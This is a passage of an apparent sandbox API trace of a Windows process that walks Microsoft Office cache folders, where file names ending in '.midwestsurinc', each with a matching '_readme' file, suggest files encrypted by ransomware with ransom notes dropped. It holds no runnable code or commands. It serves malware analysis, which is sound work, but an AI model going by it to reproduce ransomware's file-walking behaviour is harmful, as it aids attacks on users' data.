ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.723] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0227.723] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53a94cd0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x53a94cd0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.723] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.723] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53ae0f90, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x53ae0f90, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.723] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.723] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53b070f0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x53b070f0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.723] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53b070f0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x53b070f0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0227.723] GetLastError () returned 0x12 [0227.723] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4470) returned 1 [0227.723] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.724] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.724] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f3a58) returned 1 [0227.724] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x56605e50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x56605e50, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.724] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x56605e50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x56605e50, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.725] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0227.725] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0227.725] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.725] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0227.725] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.726] NtClose (Handle=0x1ac) returned 0x0 [0227.726] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.726] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.726] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.726] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f3a58 [0227.726] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.727] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4470 [0227.727] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd460 [0227.788] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x56605e50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x56605e50, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.788] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.788] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.788] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53b2d250, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x53b2d250, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.788] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.789] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0227.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.789] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x55fc6490, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x55fc6490, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.789] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0227.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.789] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x565dfcf0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x565dfcf0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.789] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.789] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56605e50, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x56605e50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.789] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56605e50, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x56605e50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0227.789] GetLastError () returned 0x12 [0227.789] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd560 [0227.789] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.790] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x56605e50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x56605e50, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.790] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.790] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53b2d250, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x53b2d250, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.790] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0227.790] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x55fc6490, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x55fc6490, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.790] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0227.790] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x565dfcf0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x565dfcf0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.790] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.790] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56605e50, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x56605e50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.790] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56605e50, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x56605e50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0227.790] GetLastError () returned 0x12 [0227.790] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4470) returned 1 [0227.790] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0227.791] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.791] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f3a58) returned 1 [0227.791] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x56e80cb0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x56e80cb0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.791] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.791] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x56e80cb0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x56e80cb0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.866] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0227.867] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0227.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.867] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0227.867] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.867] NtClose (Handle=0x1b0) returned 0x0 [0227.867] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f3a58 [0227.867] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4470 [0227.867] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd560 [0227.945] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x56e80cb0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x56e80cb0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 